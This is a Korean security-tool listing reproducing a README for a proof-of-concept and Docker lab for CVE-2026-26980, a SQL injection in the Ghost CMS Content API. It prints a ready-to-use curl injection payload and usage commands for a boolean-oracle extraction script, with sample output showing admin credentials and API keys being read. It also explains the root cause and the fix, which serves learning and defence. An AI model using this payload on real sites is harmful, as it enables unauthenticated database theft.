Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-26980 — TryGhost Ghost CMS Content API slug 필터의 인증되지 않은 SQL 인젝션을 시연하고, 불리언 오라클을 통해 데이터베이스 값을 추출하는 Python PoC 및 Docker 실습 환경입니다. | Kitploit
도구/GitHubGitHub/yym8538/cve-2026-26980
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubyym8538/cve-2026-26980

CVE-2026-26980

TryGhost Ghost CMS Content API slug 필터의 인증되지 않은 SQL 인젝션을 시연하고, 불리언 오라클을 통해 데이터베이스 값을 추출하는 Python PoC 및 Docker 실습 환경입니다.

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-26980

★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★

https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c


개요

CVE-2026-26980은 TryGhost Ghost CMS Content API의 인증되지 않은 SQL Injection 취약점입니다. 취약한 경로는 slug:[...] 정렬이 처리될 때 공개 Content API 필터 처리 로직을 통해 도달할 수 있습니다.

이 PoC는 통제된 Ghost 6.19.0 랩을 구축하고, 공개 Content API 요청이 어떻게 boolean 기반 데이터베이스 읽기 프리미티브로 전환될 수 있는지 보여줍니다.


영향을 받는 버전

제품영향을 받는 버전수정된 버전취약점 유형
TryGhost Ghost CMS>= 3.24.0, < 6.19.16.19.1SQL Injection

랩 환경은 Ghost 6.19.0을 사용합니다.


랩 설정

Docker를 사용하여 취약한 Ghost CMS 환경을 빌드하고 실행합니다:

docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980

예시:

http://127.0.0.1:9102/
image

랩은 포트 9102에서 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.

랩 Content API 키는 다음과 같습니다:

EQSTLab299

설명

CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection 취약점

description: 6.19.1 이전의 TryGhost Ghost CMS의 SQL injection 취약점은 공개 Content API 키에 접근할 수 있는 인증되지 않은 공격자가 Content API 필터 파라미터를 통해 임의의 데이터베이스 값을 읽을 수 있도록 합니다. 이 문제는 slug:[...] 필터 정렬 경로에서 발생하며, 사용자가 제어하는 slug 값이 적절한 파라미터 바인딩 없이 원시 SQL에 삽입됩니다.

Ghost Content API 키는 설계상 테마, 검색, 포털 또는 프론트엔드 JavaScript를 통해 브라우저에 일반적으로 노출됩니다. 이는 취약한 경로가 Ghost Admin 인증 없이 도달 가능할 수 있음을 의미합니다.


사용 방법

Git clone

git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980

명령어

python3 poc.py --url [Target]

선택적 사용자 지정 Content API 키:

python3 poc.py --url [Target] --key [Content API Key]

예시

python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299

[Target] 예시: http://127.0.0.1:9102

출력

========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target:                      [Target]
API Key:                     [Content API Key]
Endpoint:                    Content API (public, no auth)

[*] Calibrating oracle... OK

[*] Phase 1: Recon (fast checks)
  length(users.email) = 17
  length(users.password) = 60
  count(settings) (3 chars): 110
  count(users) (1 chars): 1
  count(api_keys) (1 chars): 9

[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>

[*] Phase 3: DB snapshot
Result:                      DB read primitive confirmed

공개 PoC는 랩에 안전한 데이터베이스 메타데이터와 Ghost API 키 자료를 추출하여 데이터베이스 읽기 영향을 보여줍니다. 챌린지 플래그는 출력하지 않습니다.


분석

취약 지점

GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]

취약한 로직은 slug:[...] 필터에 대한 Ghost의 Content API 입력 직렬화 경로에 존재합니다. Ghost는 리스트 스타일 slug 필터를 지원하며, 요청된 slug 순서를 유지하기 위해 ORDER BY CASE 표현식을 생성합니다.

취약한 버전에서는 사용자가 제어하는 slug 값이 SQL 조각에 삽입됩니다. 단순화된 취약 패턴은 다음과 같습니다:

for (const [index, slug] of slugs.entries()) {
    order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}

slug는 공격자가 제어하며 파라미터 바인딩 없이 SQL 문자열에 삽입되므로, 조작된 Content API 필터는 의도된 비교를 벗어나 추가 SQL 로직을 주입할 수 있습니다.

익스플로잇 로직

랩 PoC는 두 개의 공개 태그 bacon과 chorizo를 관찰 가능한 boolean 오라클로 사용합니다.

  • 주입된 SQL 조건이 참이면 bacon이 먼저 정렬됩니다.
  • 주입된 SQL 조건이 거짓이면 chorizo가 먼저 정렬됩니다.

서로 다른 SQL 조건으로 이 테스트를 반복함으로써, PoC는 데이터베이스 값을 한 문자씩 추론할 수 있습니다.

curl을 사용한 boolean 오라클 확인:

curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"

근본 원인

근본 원인은 사용자가 제어하는 slug 값으로부터 SQL ORDER BY CASE 조각을 안전하지 않게 구성하는 것입니다. 취약한 코드는 Content API 응답 순서를 유지하려고 시도하지만, 파싱된 NQL 필터 값을 신뢰할 수 있는 SQL 텍스트로 취급합니다.

견고한 수정은 다음을 수행해야 합니다:

  • 사용자가 제어하는 slug 값을 SQL 문자열에 보간하지 않아야 함
  • 각 slug 값에 파라미터 바인딩을 사용해야 함
  • 필터 값을 원시 SQL로 변환하지 않고 순서를 유지해야 함
  • NQL 파싱을 SQL 구성과 분리해야 함

Ghost는 6.19.1에서 원시 보간을 파라미터화된 쿼리 바인딩으로 대체하여 이 문제를 수정했습니다.

영향

이는 CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화 문제입니다.

Ghost Content API는 의도적으로 공개되어 있으므로, 이 취약점은 인증되지 않은 공격자가 공개 콘텐츠 엔드포인트를 통해 데이터베이스 읽기 프리미티브를 생성할 수 있도록 합니다. 데이터베이스 내용과 권한에 따라 공격자는 다음을 수행할 수 있습니다:

  • 데이터베이스 테이블 메타데이터 열거
  • 사이트 구성 값 읽기
  • 사용자 테이블 필드 읽기
  • API 키 레코드 읽기
  • Ghost 데이터베이스에 저장된 비공개 애플리케이션 데이터 추출

시나리오

+-------------------------------------------+
|              Remote Attacker              |
+-------------------------------------------+
                      |
                      | GET /ghost/api/content/tags/
                      | filter = slug:[<SQLi payload>,chorizo,bacon]
                      v
+-------------------------------------------+
|          Ghost Public Content API          |
+-------------------------------------------+
                      |
                      | Unsafe slug order SQL construction
                      v
+-------------------------------------------+
|        ORDER BY CASE SQL Injection         |
+-------------------------------------------+
                      |
                      | Boolean difference in tag ordering
                      v
+-------------------------------------------+
|          Unauthenticated DB Read           |
+-------------------------------------------+

랩 노트

이 랩은 최소한의 모의 서버가 아닌 실제 취약한 Ghost 6.19.0 인스턴스를 실행합니다.

랩은 다음을 시드합니다:

  • 공개 Content API 키: EQSTLab299
  • 두 개의 오라클 태그: bacon, chorizo
  • EQST Lab 브랜딩 및 샘플 블로그 콘텐츠
  • Ghost SQLite 데이터베이스에 있는 일회용 비공개 챌린지 값

공개 poc.py는 데모 영상과 공개 라이트업을 위해 설계되었습니다. 챌린지 플래그를 출력하지 않고 SQL injection 영향을 보여줍니다.


정리

docker stop cve-2026-26980

면책 조항

이 저장소는 CVE-2026-26980에 대한 SQL Injection 익스플로잇을 의도한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 어쩌면 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.


참고 자료

https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97

https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91

https://github.com/TryGhost/Ghost/releases/tag/v6.19.1

https://nvd.nist.gov/vuln/detail/CVE-2026-26980

https://osv.dev/vulnerability/CVE-2026-26980

https://github.com/TryGhost/Ghost

도구 다운로드